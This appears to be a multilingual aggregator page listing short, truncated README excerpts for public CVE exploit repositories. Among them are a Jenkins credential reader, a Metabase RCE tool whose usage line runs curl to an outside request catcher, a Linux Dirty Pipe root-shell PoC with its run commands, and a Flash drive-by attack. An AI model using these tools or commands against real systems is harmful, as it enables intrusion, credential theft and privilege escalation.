CVE-2026-41651

CVE-2026-41651 TLDR: Sube el exploit al objetivo y luego ejecuta python3 exploit.py...

CVE-2024-43044-jenkins-creds

Introduction Ceci est un exploit pour CVE-2024-43044, une lecture de fichier arbitraire qui permet à un agent de récupérer des fichiers depuis le contrôleur. L'exploit utilise la vulnérabilité pour lire le fichier credentials.xml et obtenir les clés secrètes nécessaires à son déchiffrement. Code...

CVE-2018-15982

致谢 @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 描述 使用针对 Flash Player 的 CVE-2018-15982 漏洞利用，通过 Aggressor Script 发起 Internet Explorer 路过式攻击。 受影响的产品版本 Adobe Flash Player Host CVE-2018-15982 Payload Host 将链接发送给受害者，或嵌入到其他页面或重定向中 受害者使用 IE...

CVE-2024-26230

参考k0shl 师傅的blog，感谢k0shl 师傅的帮助...

CVE-2024-45216-Poc

CVE-2024-45216-Poc python CVE-2024-45216poc.py --host http://122.51.176.242:8983...

cve-2020-5902

cve-2020-5902 cve-2020-5902 Exploit POC root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME...

libperf_event_exploit

此仓库已移至 https://github.com/android-rooting-tools/libperfeventexploit...

CVE-2023-38646

CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 root@kitploit: python3 single.py...

CVE-2023-29489

CVE-2023-29489 漏洞利用 此脚本可利用CVE-2023-29489（XSS漏洞）攻击许多网站 使用方法 root@kitploit: python3 CVE-2023-29489.py list.txt 我的频道：...

CVE-2018-7849

CVE-2018-7849 Produtos Afetados Schneider Electric Modicon M580 Versão 2.90 Schneider Electric Modicon M340 Versão 3.10 Schneider Electric Modicon Premium Todas as Versões Schneider Electric Modicon Quantum Todas as Versões Referências https://www.se.com/ww/en/download/document/SEVD-2019-134-11/...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Vulnerabilidad de escalada de privilegios del kernel de Linux POC Una simple prueba de concepto para obtener una shell de root. root@kitploit: $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

CVE-2023-1545-Exploit

此存储库没有 README。...

CVE-2022-27502

RealVNC server hasta 6.9.0 Exploit de secuestro de DLL CVE-2022-27502 Puedes usar la versión precompilada 64 bits desde AQUÍ Cópialo a %TEMP% e inicia una reparación de RealVNC Server desde agregar o quitar programas. Escribirá la salida del comando whoami en %TEMP%\output.txt Si quieres cambiar ...

CVE-2020-11651-CVE-2020-11652-EXP

此存储库没有 README。...

cve_2025_20265

PoC для CVE-2025-20265 Консультация ⚠️ ПРЕДУПРЕЖДЕНИЕ Это функциональный эксплойт для уязвимости 1-day. Он может выполнять код на уязвимых системах. Используйте только на своих внутренних серверах, которые вы уполномочены тестировать. Несанкционированное использование незаконно и неэтично...

CVE-2021-26086

CVE-2021-26084 root@kitploit: este é um script escrito em golang para explorar a Injeção OGNL do Confluence CVE-2021-26084. root@kitploit: git clone https://github.com/march0s1as/CVE-2021-26084/ cd CVE-2021-26084 go get -v github.com/fatih/color go build post.go ./post.go -h...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Эксплойт-цепочка десериализации и обхода аутентификации Telerik Report Server для CVE-2024-4358/CVE-2024-1800 Технический анализ Анализ первопричины уязвимости можно найти в моём блоге Использование root@kitploit: python CVE-2024-4358.py --target...

cve-2024-4406-xiaomi13pro-exploit-files

cve-2024-4406-xiaomi13pro-exploit-files Archivos relacionados con el exploit de Pwn2Own Toronto 2023 contra el Xiaomi 13 Pro...

CVE-2017-5123

CVE-2017-5123 PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR 上游内核中的 waitid 实现未限制复制信息结果的目标位置。这可能允许本地用户写入原本受保护的内核内存，从而导致权限提升。 介绍 在这篇小文章中，我将分析一个允许我们获取 root 权限的内核漏洞。 本文分为四个部分： 1. 虚拟机设置； 2. 漏洞分析； 3. 漏洞利用； 4. PoC。 我想指出，有许多更好的方法来利用此 CVE（实际上，这只是一个用于学习内核的 PoC ，不能用于 实际攻击 ），但我认为这种方法可以作为内核漏洞利用的入门。 虚拟机设置 内核编译...

cve-2015-0313

CVE-2015-0313 来自 Angler Exploit Kit 的 Adobe Flash 漏洞源代码 cve-2015-0313 参考资料： http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/ http://malware.dontneedcoffee.com/2015/02/cve-2015-0313-flash-up-to-1600296-and.ht...